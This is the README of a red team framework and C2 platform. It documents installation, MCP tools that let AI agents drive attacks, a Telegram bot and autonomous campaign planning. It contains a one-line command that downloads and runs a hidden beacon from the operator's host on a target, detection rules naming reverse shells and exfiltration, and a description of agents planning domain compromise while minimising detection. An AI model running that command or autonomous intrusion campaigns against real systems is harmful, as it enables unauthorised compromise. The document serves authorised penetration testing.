██▓    ▄▄▄      ▒███████▒▓██   ██▓ ▒█████   █     █░███▄    █
▓██▒   ▒████▄    ▒ ▒ ▒ ▄▀░ ▒██  ██▒▒██▒  ██▒▓█░ █ ░█░██ ▀█   █
▒██░   ▒██  ▀█▄  ░ ▒ ▄▀▒░   ▒██ ██░▒██░  ██▒▒█░ █ ░█▓██  ▀█ ██▒
▒██░   ░██▄▄▄▄██   ▄▀▒   ░  ░ ▐██▓░▒██   ██░░█░ █ ░█▓██▒  ▐▌██▒
░██████▒▓█   ▓██▒▒███████▒  ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░   ▓██░
░ ▒░▓  ░▒▒   ▓▒█░░▒▒ ▓░▒░▒   ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░   ▒ ▒
░ ░ ▒  ░ ▒   ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░   ░ ▒ ▒░   ▒ ░ ░ ░ ░░   ░ ▒░
  ░ ░    ░   ▒   ░ ░ ░ ░ ░ ▒ ▒ ░░  ░ ░ ░ ▒    ░   ░    ░   ░ ░
    ░  ░     ░  ░  ░ ░     ░ ░         ░ ░      ░            ░
                 ░         ░ ░

LazyOwn comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under the terms of the GNU General Public License v3. See the LICENSE file for details about using this software.

LazyOwn RedTeam Framework v0.2.158

LazyOwn is a professional red team framework and Command & Control (C2) platform built for penetration testers, red teams, and security researchers. It delivers 606+ CLI commands, 126 aliases, 148 MCP tools for AI agents, a multi-operator web C2 dashboard, and 120+ YAML/Lua plugin integrations covering the full kill chain across Linux, Windows, macOS, and BSD.

New in v0.2.158: integrated marketplace with YARA rules + Nuclei templates, auto_pwn autonomous exploitation, hunt command for threat-informed recon, post-command tips engine, automatic session data encryption, gamified ELO/badges, and 7 new APT playbooks.

Quickstart in three commands

New here? This is the whole on-ramp. Full walkthrough: QUICKSTART.md.

git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh        # virtualenv + pinned dependencies + C2 certificates
./run                  # launches the shell; first run offers the setup wizard

The default install is light; add --with-ml for the heavy torch/CUDA stack, --with-ollama for the local LLM runtime, --with-tools for the common external binaries. Dependencies are pinned in requirements.txt (cross-platform core) and requirements-ml.txt (optional ML); pyproject.toml is the single source of truth.

Docker

For isolated, reproducible engagements, see lazyown-docker/README.md.

cd lazyown-docker
./mkdocker.sh build
./mkdocker.sh run --vpn 1

Then, inside the (LazyOwn) > shell:

doctor          # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard          # guided config (auto-detects lhost, walks 7 steps)
ping            # confirm the target is up and detect its OS
lazynmap        # full port + service scan

If doctor reports a blocking failure (red), fix it before going further — it tells you the exact pip install / apt install command for whatever is missing. Warnings (yellow) are optional features you can ignore for now.

Core Architecture

LazyOwn is built around a modular, command-driven architecture that provides flexibility and extensibility for security testing workflows.

LazyOwn integrates a command-line interface (CLI) built on cmd2 and a web-based GUI built on Flask. Parameters are scoped to payload.json, enabling consistent configuration across tools. The framework supports adversary simulation, task scheduling via the cron command, and persistent automated threat simulation workflows.

See CONTRIBUTING.md for details.

LazyOwn Skills — MCP Integration

Connect Claude Code to the LazyOwn framework via the Model Context Protocol (MCP). The MCP server exposes 148 tools covering the full engagement lifecycle.

Files

File	Purpose
skills/lazyown_mcp.py	MCP server — exposes 148 LazyOwn tools to Claude
skills/lazyown.md	Claude Code skill / slash-command documentation
skills/autonomous_daemon.py	Autonomous execution daemon (objective-driven, no Claude required between steps)
skills/hive_mind.py	Multi-agent queen + drone system with ChromaDB memory
skills/lazyown_policy.py	Reward-based policy engine for the auto_loop
skills/lazyown_facts.py	Structured fact extraction from nmap XML and tool output
skills/lazyown_parquet_db.py	Parquet knowledge base: session history, GTFOBins, LOLBas, ATT&CK

Quick Start (5 minutes to first shell)

Full guide: QUICKSTART.md

# 1. Clone and install (light by default; add --with-ml for the 2 GB torch/CUDA stack, --with-ollama for the local LLM)
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh

# 2. Launch, verify the install, then run the wizard
./run
(LazyOwn) > doctor   # preflight: Python, venv, packages, certs, SecLists, tools
(LazyOwn) > wizard   # auto-detects lhost, walks 7 config steps

# Heavy optional dependencies (pycryptodome, python-libnmap, impacket, ...) are
# imported lazily: a missing package degrades only its feature instead of
# crashing the shell, and the dependent command raises a clear "pip install ..."
# error when used. To audit them without launching the shell (works even if rich
# or cmd2 are broken):  python3 -m core.dependencies

# 3. Define your authorized scope, then recon
(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce
(LazyOwn) > ping && lazynmap && auto_populate && facts_show

# 4. Start C2 (separate terminal)
bash fast_run_as_r00t.sh --no-attach --vpn 1

# 5. Get a shell — Linux BOF-capable beacon
(LazyOwn) > blacksandbeacon
# Then on target: curl -sk "http://<lhost>:<lport>/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &

# 6. Invite teammates (multi-operator)
(LazyOwn) > collab_join alice
# Prints: https://<lhost>:<c2_port>/collab/?operator=alice

---

Multi-Operator Collaboration

LazyOwn's collab layer provides real-time team server functionality via Server-Sent Events (SSE). It activates automatically when lazyc2.py starts.

Browser dashboard — open in any browser on the team:

https://<lhost>:<c2_port>/collab/?operator=<your_handle>

Terminal SSE stream:

curl --insecure -N "https://<lhost>:<c2_port>/collab/stream?operator=alice" | jq .

Publish a finding to all operators:

curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
  -H "Content-Type: application/json" \
  -d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'

Lock a target (prevents two operators running the same tool):

curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/lock \
  -H "Content-Type: application/json" \
  -d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'

Endpoint	Method	Description
/collab/	GET	Multi-operator browser dashboard
/collab/stream?operator=<name>	GET (SSE)	Real-time event stream
/collab/operators	GET	Active operator list
/collab/publish	POST	Broadcast a structured event
/collab/lock	POST	Acquire advisory target lock
/collab/unlock	POST	Release target lock
/collab/locks	GET	All active locks
/collab/history?n=100	GET	Last N events

From the CLI: collab_join <handle> prints all URLs for a given operator.

---

MCP Quick Start

LazyOwn exposes its full framework via the Model Context Protocol (MCP). The same server works with Claude Code, Claude Desktop, Hermes Agent, and OpenCode — pick the integration that matches your environment.

Claude Code

claude mcp add lazyown python3 /home/grisun0/LazyOwn/skills/lazyown_mcp.py

Or add manually to ~/.claude/claude_desktop_config.json:

{
  "mcpServers": {
    "lazyown": {
      "command": "python3",
      "args": ["/home/grisun0/LazyOwn/skills/lazyown_mcp.py"],
      "env": {
        "LAZYOWN_DIR": "/home/grisun0/LazyOwn"
      }
    }
  }
}

Install the slash command (optional):

cp skills/lazyown.md ~/.claude/commands/lazyown.md

After restarting Claude Code, all lazyown_* tools are available.

Hermes Agent

LazyOwn is Hermes-native. The skills/hermes-lazyown/ integration layer provides a compact, namespaced tool surface optimized for Hermes context windows with checkpoint resume, dynamic rule generation, and native delegation planning.

Register in ~/.hermes/config.yaml:

mcp_servers:
  hermes-lazyown:
    command: python3
    args: ["/home/grisun0/LazyOwn/skills/hermes-lazyown/mcp_server.py"]
    env:
      LAZYOWN_DIR: "/home/grisun0/LazyOwn"

Then reload MCP tools in Hermes with /reload-mcp.

See skills/hermes-lazyown/README.md for the full Hermes integration guide.

OpenCode

LazyOwn is OpenCode-friendly via the LazyOwnOpenCodeAdapter:

git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build

The adapter bridges LazyOwn's MCP server into the OpenCode CLI, exposing the same lazyown_* tool surface with OpenCode-native prompts and workflows.

Full setup: https://github.com/grisuno/LazyOwnOpenCodeAdapter

Environment Variables

Variable	Default	Description
LAZYOWN_DIR	parent of skills/	LazyOwn root directory
LAZYOWN_C2_HOST	payload.json lhost	C2 server address
LAZYOWN_C2_PORT	payload.json c2_port	C2 server port
LAZYOWN_C2_USER	payload.json c2_user	C2 username
LAZYOWN_C2_PASS	payload.json c2_pass	C2 password

MCP Tool Groups (148 tools)

Group	Tools	Description
Core Execution	7	run_command (now with dry_run + confirm), get/set_config, list_modules, discover_commands, command_help, palette
Audit & Context	6	target_context, tasks_cleanup, evidence_grep, session_diff, run_command_async, job_status
Target Management	3	add_target, list_targets, set_active_target
C2 / Implant Control	10	c2_command, c2_status, get_beacons, run_api, c2_profile, c2_vuln_analysis, c2_redop, c2_search_agent, c2_script, c2_adversary
Session Awareness	4	session_status, session_state, list_sessions, read_session_file
Autonomous Loop	3	auto_loop, policy_status, recommend_next
ACI — Autonomous Campaign Intelligence	3	aci_plan, aci_status, aci_replan
Reactive Intelligence	2	reactive_suggest, bridge_suggest
Objectives & Planning	4	inject_objective, next_objective, soul, read_prompt
Knowledge Bases	9	parquet_query/annotate, facts_show, cve_search, searchsploit, rag_index/query, threat_model
Memory & Learning	3	memory_recall/store, eval_quality
Campaign & Reporting	7	campaign, campaign_tasks, generate_report, misp_export, collab_publish, timeline
Playbooks	2	playbook_generate, playbook_run
Addons, Tools & Plugins	3	list_addons/plugins, create_addon/tool
Scheduling	2	cron_schedule, daemon
AI Agents	5	run_agent, agent_status/result, list_agents, llm_ask
Event Engine	4	poll_events, ack_event, add_rule, heartbeat_status
SWAN MoE+RL	4	swan_run, swan_ensemble, swan_status, swan_route

Full documentation: skills/README.md and skills/lazyown.md.

Audit-mode MCP improvements

Added in skills/lazyown_mcp_helpers.py to make autonomous audits more efficient and less error-prone. Logic lives in a pure-function module so it is unit-testable in isolation (tests/test_mcp_improvements.py).

Tool / Param	What it does	Why it matters
lazyown_session_init(format='json', include_recommend=true)	Returns the SITREP as a structured dict instead of a banner; optionally embeds the top-3 ranked recommended actions.	Saves ~5KB of decorated text per call; agents can filter before consuming.
lazyown_campaign_sitrep(format='json')	Same JSON option for the master shift report.	Consistent format across both situation tools.
lazyown_target_context(host, port=N)	Aggregates open ports, world-model credentials (with provenance + confidence), vulnerabilities, pwntomate evidence freshness, and nmap freshness for one (host, port) tuple.	Replaces 4-5 separate lookups when deciding the next action on a target.
lazyown_tasks_cleanup(dry_run=true, min_confidence=0.5)	Audits sessions/tasks.json and flags entries where the embedded credential is actually a timestamp / URL / IP / duplicate. Pass dry_run=false to rewrite the file (a .bak is written first).	The watcher commonly turns log timestamps into "credentials"; on a real campaign this drops 100+ noise tasks.
`lazyown_evidence_grep(pattern, scope='all	loot	nmap
lazyown_run_command(command, dry_run=true)	Pre-flight: returns base command, binary path, OS-required vs OS-current, would-duplicate artefacts, missing payload keys — without executing.	Stops repeat-runs of 30-min scans by mistake; flags Windows-only tools against a Linux target before launch.
lazyown_run_command_async(command, timeout) + lazyown_job_status(job_id)	Background-job pattern for long commands (lazynmap, pwntomate, auto_loop). Returns a job_id immediately.	Frees the agent from blocking on commands documented as ≥30 min.
lazyown_session_diff(take=true)	Reports added / modified / removed files in sessions/ plus new credentials / task IDs since the last snapshot.	Makes shift handoffs explicit; works well as the first call of every new session.
Confirmation gate (confirm=true)	lazyown_c2_command, lazyown_c2_redop, lazyown_c2_adversary, and any run_command whose body matches rm -rf / exfil / wipe / encrypt-file now require an explicit confirm=true argument.	Prevents accidental destructive actions from autonomous loops.
Provenance + confidence on credentials	Each credential exposed via target_context includes is_likely_credential, confidence, classification, and a provenance block (source_file, line_no, captured_at) when found.	Required for chain-of-custody in pentest reports.
Freshness annotations	Every evidence file in the JSON SITREP and target_context carries age_seconds, age_human, and stale=true once it exceeds freshness_threshold_seconds (default 7 days; configurable per-call).	Stops the agent from exploiting on top of stale recon evidence.

Audit-mode CLI enhancements

A SOLID extension layer in cli/cli_enhancements.py plugs into the cmd2 shell via the existing CommandSet auto-discovery (cli/commands/audit.py). No edits to the 27k-line lazyown.py core were required beyond two small hooks (lazy alias loading, completedefault fallback).

Command / hook	What it does	Backed by
fz [query]	Fuzzy command finder over every do_*, alias, plugin and addon. Scores exact > prefix > substring > sequence-similarity.	FuzzyCommandIndex
form <command>	Walks the operator through an interactive parameter form for commands with many flags (currently phishing, venom, evil). Validates required fields and options enums; falls back to defaults under non-interactive IO.	InteractiveForm, FormSpec
status_tail [target]	Parses the latest sessions/scan_<target>.partial/.nmap and prints open ports, percent complete and last line so the operator can monitor a long scan without leaving the shell.	LiveStatusTail
grep_log <pattern> [--cmd <name>]	Regex search across the recent transcript of executed commands and their outputs. Persists across restarts (sessions/_cli_transcript.jsonl).	TranscriptStore
reload_addons	Polls lazyaddons/ and plugins/ and re-registers anything that changed since the last sweep, without restarting the shell.	AddonHotReloader
audit_complete_keys <command> [partial]	Surfaces what the payload-aware completer would suggest for a given command. Useful to verify completion behaviour.	PayloadAwareCompleter
completedefault (Tab)	Cmd2 hook now falls through to a payload-aware completer that suggests payload keys for set/assign, IP values for target, wordlist keys for gobuster/ffuf, addon names for run, plugin names for plugin, and captured credentials for evil/cme/secretsdump.	PayloadAwareCompleter
Dynamic alias resolution	cli/aliases.py now defaults to lazy=True: alias templates keep their {rhost}/{lhost}/etc. placeholders and are rendered against self.params at execution time. set rhost X propagates to every alias on the next keystroke (no shell restart). Pre-substitution is still available with lazy=False.	DynamicAliasResolver, cli/aliases.py

The primitives are framework-agnostic and depend on small typing.Protocol interfaces (PayloadProvider, CommandLister, TerminalIO) so they can be unit-tested in isolation. See tests/test_cli_enhancements.py (36 tests).

Fuzzy dropdown autocomplete

The cmd2 shell installs a curses-driven fuzzy picker on top of GNU readline (cli/fuzzy_picker.py). On a single Tab press, when two or more completions are available, the picker opens a bordered dropdown anchored at the bottom of the terminal showing every match alongside its description. The scorer favours exact, prefix and subsequence matches over substring and similarity (the same ranking the standalone fz command uses), and the matched characters of the query are highlighted in each row so the operator can see why a candidate is in the list.

Navigation: ↑ / ↓ to move, Page Up / Page Down to jump, Home / End to seek, Backspace to edit the query in place, Tab or Enter to insert the highlighted command into the prompt, Esc or Ctrl-C to cancel. When only one candidate matches, readline's normal auto-insert behaviour is preserved so the picker never gets in the way of a fast operator. Geometry, colors and glyphs are driven by PickerConfig, and an optional fuzzy_picker block in payload.json can override any of its fields (e.g. "max_visible_rows": 8) without touching code.

Configurable Neon Box prompt — config_banner

The cmd2 shell renders a three-line Neon Box prompt assembled from a canonical set of segments (user_host, iface, lhost, rhost, domain, public_ip, cwd, git, venv, time, kernel, version, battery_load). The renderer is implemented in cli/banner_config.py as a small SOLID stack: one SegmentRenderer per piece of information, a SegmentRegistry, a BannerSettings value object, and a BannerRenderer that emits ANSI-colored output. Public IP, kernel release and the LazyOwn version are TTL-cached so the prompt stays sub-millisecond after the first render.

The config_banner shell command opens a Powerlevel10k-style curses wizard with three tabs — Segments, Colors, Glyphs — and a live preview of the resulting prompt anchored at the bottom of the panel. Tab / Shift+Tab cycle tabs; ↑ / ↓ move within the active tab; Enter saves to payload.json under the banner block; Escape cancels. Per-tab bindings:

Tab	Action keys
Segments	Space toggles a segment on/off; a enables every segment; n disables every segment; d restores factory defaults.
Colors	Space / → cycles to the next named color (bright_green, bright_cyan, bright_magenta, …); ← cycles back; d restores that segment's default color.
Glyphs	Space / → cycles to the next character for the focused slot (top_left, vertical, bullet_primary, arrow, prompt_char_user, …); ← cycles back; d restores that slot's default glyph.

The shell prompt refreshes immediately after save — no restart needed. Operators with no TTY (CI, scripts) can still drive the system with config_banner show and config_banner reset, or hand-edit the payload:

"banner": {
  "enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"],
  "colors":  {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"},
  "glyphs":  {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│",
              "bullet_primary": "❯", "arrow": "→"}
}

Color names are validated against ColorRegistry and glyph characters against GlyphRegistry; anything unknown silently falls back to the factory default so a malformed payload never breaks the prompt.

Graph-aware navigation — operator + agent UX from graphify

cli/graph_advisor.py loads the knowledge graph produced by /graphify over the LazyOwn source tree (graphify-out/graph_lazyown.json — ~1500 nodes, ~2900 edges, 14 communities) and exposes it to both the cmd2 shell and the MCP server. The advisor is a single-file SOLID stack — GraphLoader (mtime-cached file IO), GraphIndex (in-memory adjacency / degree / community indexes), GraphScorer (pure ranking primitive), GraphAdvisor (orchestrator) — with every constant kept on the GraphAdvisorConfig dataclass.

Operator commands (cmd2 shell)

Command	Purpose
graph_search <query> [limit]	Fuzzy search nodes by label, id or source file.
neighbors <node> [depth] [limit]	Walk the graph outward from a node with edge relation / confidence.
god_nodes [N]	Show the most-connected nodes — the framework's core abstractions.
suggest_next [seeds…] [N]	Recommend the next commands by walking outward from recent activity. With no seeds it reads sessions/LazyOwn_session_report.csv and seeds from there.

The shell's default() hook now feeds unknown do_* commands through the same advisor + the existing FuzzyCommandIndex so an operator who types ddo_lazynmap instantly sees "Did you mean: do_lazynmap, do_lazynmap_quick, …?" before the toast.

MCP tools (Claude Code, Claude web, any MCP agent)

Tool	Purpose
lazyown_graph_summary	Node / edge / community counts and the resolved graph path.
lazyown_graph_search	Fuzzy node search with a budget_tokens cap so the JSON response never blows the agent's context window.
lazyown_graph_neighbors	Layered adjacency walk with edge relation and confidence — the canonical "what does X depend on?" query.
lazyown_graph_suggest_next	Next-step recommendation; takes an explicit recent list or reads the session transcript.

Every MCP graph tool trims list fields in place to fit budget_tokens (default 1500). When the graph is missing, every tool returns {"available": false, "reason": "..."} instead of crashing — the operator is told to run /graphify . once and everything starts working.

The advisor caches by (path, mtime) so a fresh /graphify rebuild is picked up automatically on the next CLI command or MCP call without restarting the shell or the MCP server. See tests/test_graph_advisor.py for the 20 unit tests covering loader, index, scorer and the full advisor API.

Inline reactive hints — non-blocking next-step suggestions

cli/reactive_hints.py hooks into the cmd2 post-command pipeline via register_postcmd_hook and prints a single dim line below every command output, before the next prompt appears:

  ↳ do_gobuster · do_enum4linux · do_ffuf

The suggestion comes from the graphify knowledge graph (same GraphAdvisor used by suggest_next), so it is structurally grounded — not a generic list. The hook is fully non-blocking: it returns before cmd2 renders the prompt, so the operator can start typing the next command immediately.

Control

Action	How
Disable hints for the session	set enable_inline_hints false
Re-enable	set enable_inline_hints true
Persist permanently	set enable_inline_hints false then save

Commands on the skip list (help, ?, exit, set, show, palette, dashboard, suggest_next, graph_search, neighbors, god_nodes) never produce a hint line — they are meta-commands where a suggestion adds noise.

When the graphify graph is absent the hook returns silently. Run /graphify . once to build the graph and hints start appearing on the very next command.

Operator TUI dashboard — dashboard

cli/dashboard_tui.py is a full-screen Textual dashboard launched from the shell with:

dashboard

It blocks the shell while open (like htop or lazygit). Press Q or Ctrl-C to close and return to the cmd2 prompt.

Layout

┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5  ATTACKER 10.10.14.5  DOMAIN target.htb  PHASE RECON  OS  │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│  Kill Chain         │  Recent Commands                │  Ops                │
│  ✔ Recon            │  ● lazynmap        2026-05-11   │  Objective:         │
│  ▶ Enum             │  ● ping            2026-05-11   │  Initial Access     │
│  ○ Exploit          │  ● gobuster        2026-05-11   │                     │
│  ○ PrivEsc          │                                 │  Credentials: 0     │
│  ○ Lateral          │                                 │  Hashes: 0          │
│  ○ Exfil            │  Config                         │  Beacons: 0         │
│  ○ Report           │  Target: 10.10.11.5             │                     │
│                     │  C2 Port: 4444                  │                     │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│  ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto                   │
└──────────────────────────────────── [Q] Quit  [R] Refresh  [?] Help ────────┘

Data sources (auto-refreshed every 5 seconds)

Panel	Source
Target / phase / OS	payload.json, sessions/world_model.json
Kill chain progress	sessions/world_model.json → completed_phases
Recent commands	sessions/LazyOwn_session_report.csv
Objective	sessions/world_model.json, sessions/tasks.json
Credentials / hashes	sessions/credentials*.txt, sessions/hash*.txt
Beacons	sessions/beacons.json
Graph hints	graphify-out/graph_lazyown.json

Requires pip install textual (added to install.sh).

Command palette and graph-aware discovery

The lazyown_palette MCP tool (also reachable as the palette CLI command and the /palette web view, with a global Ctrl+K / Cmd+K overlay on every C2 page) lets agents and operators browse the 422+ do_* commands without scrolling. Modes:

Mode	Example	Description
Overview	palette	Phase-by-phase command counts.
Phase	palette recon	Every command in a kill-chain phase, with a one-line summary.
Phase + filter	palette enum nmap	Phase listing narrowed by a free-text query.
Search	palette --search ldap	Fuzzy search across name and summary.
Detail	palette --info do_lazynmap	Full entry plus graphify-derived calls and related neighbours (which other commands share helper functions with this one).
Next phase	palette --next recon	Recommended commands in the phase that follows in the kill-chain ordering.

The detail view's calls / related lists come from graphify-out/graph_lazyown.json (re-generated by the graphify skill); when that file is absent the palette degrades silently to phase data only.

---

Telegram Hermes Bot

The telegram_hermes.py bot bridges Telegram to the full LazyOwn framework via the MCP layer and Hermes gateway. It supports direct shell command execution, autonomous agent delegation, cron scheduling, C2 beacon interaction, and cross-platform messaging.

Files

File	Purpose
telegram_hermes.py	Telegram bot — bridges Telegram to LazyOwn MCP and Hermes gateway
run_telegram_hermes.sh	Launcher script using a dedicated venv
venv_telegram/	Python virtual environment with python-telegram-bot dependencies

Quick Start

# 1. Create the dedicated virtual environment
cd LazyOwn
python3 -m venv venv_telegram
source venv_telegram/bin/activate
pip install python-telegram-bot nest_asyncio requests

# 2. Configure your bot token in payload.json
python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"

# 3. Launch the bot
./run_telegram_hermes.sh

Bot Commands

Command	Description
/start <secret>	Authenticate with the C2 secret from payload.json
/cmd <command>	Execute any LazyOwn shell command
/sitrep	Full campaign situation report
/config [key] [val]	View or set payload.json values
/addcli <client_id>	Set active C2 client
/clients	List online C2 implants
/c2 <command>	Send command to C2 beacon
/agent <goal>	Run autonomous Groq/Ollama agent
/delegate <goal>	Delegate task to Hermes subagent
/cron <schedule> <cmd>	Schedule recurring LazyOwn commands
/status	Show daemon and autonomous status
/stop	Stop any running autonomous daemon
/download <file>	Download files from sessions/
Upload document	Upload files to C2 beacon

Any plain text message not prefixed with / is treated as a direct LazyOwn command. Rate limiting (5 commands/minute) and session timeouts (30 minutes) are enforced.

Architecture

The bot uses the same PTY-based command execution as the MCP server (skills/lazyown_mcp.py), so every LazyOwn command, alias, and addon works without direct Python imports. Autonomous tasks (/agent, /delegate) spawn Groq or Ollama agents through the LazyOwn shell, and C2 commands (/c2, /clients) use the authenticated /api/command and /get_connected_clients endpoints.

---

Advanced AI Architecture (MoE + RL + SWAN + Hive Mind)

LazyOwn integrates a world-class multi-agent AI stack that adapts and improves through every engagement:

Mixture of Experts (MoE) — modules/moe_router.py

Five LLM experts are registered with capability tags, base weights, and cost tiers:

Expert	Backend	Strengths
groq_fast	Groq llama-3.1-8b-instant	Recon, enumeration, rapid decisions
groq_powerful	Groq llama-3.3-70b-versatile	Exploitation, post-ex, complex reasoning
groq_deepseek_r1	Groq deepseek-r1-distill-llama-70b	Privilege escalation, step-by-step reasoning
ollama_reason	Ollama deepseek-r1:1.5b	Offline, privacy-safe, detailed analysis
groq_gemma	Groq gemma2-9b-it	Lateral movement, credential analysis

Routing uses temperature-scaled softmax (T = max(0.5, 1.5/(1+calls/50))) over adjusted weights. Weights self-adjust via exponential moving average of per-expert reward over time.

Reinforcement Learning from Models (RLM) — modules/rl_trainer.py

Tabular Q-learning trains the routing policy over engagement sessions:

State:  (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw|    (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]

Hyperparameters: α=0.10, γ=0.90, ε_start=0.20, ε_min=0.05, ε_decay=0.995. Epsilon-greedy exploration decays per update. Q-values persist to sessions/expert_qvalues.json across sessions.

SWAN Orchestrator — skills/swan_agent.py

The top-level integration layer wires MoE + RL + Detection Oracle + Hive Memory:

• swan_run: single-expert execution with RL-guided routing and post-execution Q-update
• swan_ensemble: N experts in parallel via ThreadPoolExecutor, synthesised by WeightedTextAggregator
• OutcomeEvaluator: reward = 0 when detection probability ≥ 70% (detection-aware reward shaping)
• Every result stored in Hive Memory (ChromaDB) for cross-session learning

Detection Oracle (Blue Team Mirror) — modules/detection_oracle.py

Predicts detection probability before execution using 17 Sigma-lite rules covering: credential access (LSASS, SAM, DCSync), lateral movement (PsExec, WMI, evil-winrm), privilege escalation (token impersonation, named pipes), exploitation, recon, C2, and brute force.

Probability aggregation: P(detect) = 1 - ∏(1 - P_i) across all triggered rules.

Purple Team Closed Loop — modules/auto_purple.py

Automated red-vs-blue measurement loop that executes offensive actions, queries LazyOwnBT for detection, and feeds results back to the Detection Oracle for calibration.

(LazyOwn) > purple_exec nmap -sV 10.10.11.5 recon    # execute + detect
(LazyOwn) > purple_score                              # show detection rates
(LazyOwn) > purple_report                             # export CSV + JSON
(LazyOwn) > purple_dashboard                          # Textual TUI

Detection methods:

Method	What it checks
ai_test	LazyOwnBT ML model prediction
proc_scan	Suspicious process names
net_scan	Unusual connections/ports
log_analyze	Auth/syslog anomalies
fim_scan	File integrity changes
redteam_hunt	Threat hunting patterns
sigma_rules	10 Sigma rules (mimikatz, reverse shell, privesc, nmap, webshell, /etc/shadow, cron, SMB, exfil, injection)

Sigma rules detection engine (LazyOwnBT lazyownbt/detection.py):

ID	Rule	Level
LAZYOWN-001	Mimikatz Credential Dump	critical
LAZYOWN-002	Reverse Shell Pattern	critical
LAZYOWN-003	Privilege Escalation via Sudo	high
LAZYOWN-004	Nmap Scan Detected	medium
LAZYOWN-005	Webshell Execution	critical
LAZYOWN-006	Process Injection	high
LAZYOWN-007	/etc/shadow Access	critical
LAZYOWN-008	Cron Persistence	high
LAZYOWN-009	Lateral Movement SMB	high
LAZYOWN-010	Data Exfiltration	high

Output files:

• sessions/purple_dataset.csv — ML training dataset
• sessions/purple_audit.jsonl — full audit log
• sessions/detection_feedback.jsonl — oracle calibration

Note: For production use, integrate with a real SIEM (Wazuh, Elastic SIEM, Splunk) via auditd log forwarding. The built-in Sigma rules are for offline testing only.

Hive Mind — skills/hive_mind.py

Multi-agent queen+drone architecture with shared memory:

• QueenBrain (Claude): high-level orchestration + ConsensusProtocol for high-risk actions
• DronePool (Groq/Ollama): parallel execution of recon/exploit/cred/lateral/privesc tasks
• HiveMemory: ChromaDB semantic + SQLite episodic + Parquet long-term storage
• EpisodeReflectionEngine: post-campaign lesson extraction stored as sessions/campaign_lessons.jsonl

Autonomous Campaign Intelligence (ACI) — skills/aci_planner.py

The first C2 framework that plans, executes, and learns autonomously.

ACI bridges the gap between a natural-language engagement goal and a fully autonomous execution loop. No competitor (Cobalt Strike, Sliver, Havoc, Metasploit) does this end-to-end:

Operator: "Compromise the domain controller at corp.internal
           starting from a phishing foothold on 10.10.11.5"
         ↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
                 recon → exploit → exec → privesc → cred → lateral → report
         ↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
         ↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
         ↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
         ↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
         ↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
                 feeds back into the next engagement

Three MCP tools:

Tool	What it does
lazyown_aci_plan	Decompose a goal → ATT&CK plan → inject objectives
lazyown_aci_status	Live phase breakdown, completion %, replan recommendation
lazyown_aci_replan	Force adaptive replan when stalled; auto-generates lessons

Quick-start:

# 1. Submit the engagement goal
lazyown_aci_plan(
    goal="Compromise the DC at corp.internal",
    target="10.10.11.5",
    scope=["10.10.11.0/24"],
    domain="corp.internal",
    os_hint="windows",
)

# 2. Start autonomous execution
lazyown_auto_loop(target="10.10.11.5", max_steps=20)

# 3. Monitor progress
lazyown_aci_status()

# 4. When blocked (blocked_count >= 3)
lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")

What makes ACI unique vs. other tools:

• Cobalt Strike / Sliver / Havoc are C2 frameworks — the operator plans every step
• Metasploit has automation but no intelligence
• CALDERA emulates fixed ATT&CK procedures but can't adapt to novel environments
• ACI plans, executes, replans, and learns — continuously, across engagements

Persistence:

File	Contents
sessions/aci_plan.json	Active plan: phases, objectives, completion state
sessions/aci_history.jsonl	Archived completed/abandoned plans
sessions/campaign_lessons.jsonl	Lessons extracted by ACIReflector

CLI usage (standalone):

python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect

Autonomous Daemon — skills/autonomous_daemon.py

Four asyncio roles in a single process — no Claude required between steps:

Role 1 — ObjectiveLoop      : watches objectives.jsonl, takes + executes
Role 2 — ExecutionEngine    : 6-layer cascade per step, RL Q-table feedback
  Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback
Role 3 — WorldModelWatcher  : graph centrality + pivot candidate tracking
Role 4 — DroneCoordinator   : hive drone spawning on recon/cred/service findings

Enable SWAN in the daemon: export AUTO_USE_SWAN=1 before starting.

ACI feeds into the daemon: objectives injected by lazyown_aci_plan are picked up automatically by Role 1 (ObjectiveLoop) — no additional configuration needed.

Graph-Based Reasoning — modules/world_model.py

NetworkGraph tracks all discovered relationships (hosts, services, credentials, trust paths) and computes normalized degree centrality to surface pivot candidates. The top-3 candidates are injected into every to_context_string() call, ensuring the autonomous loop always knows the highest-value lateral movement targets.

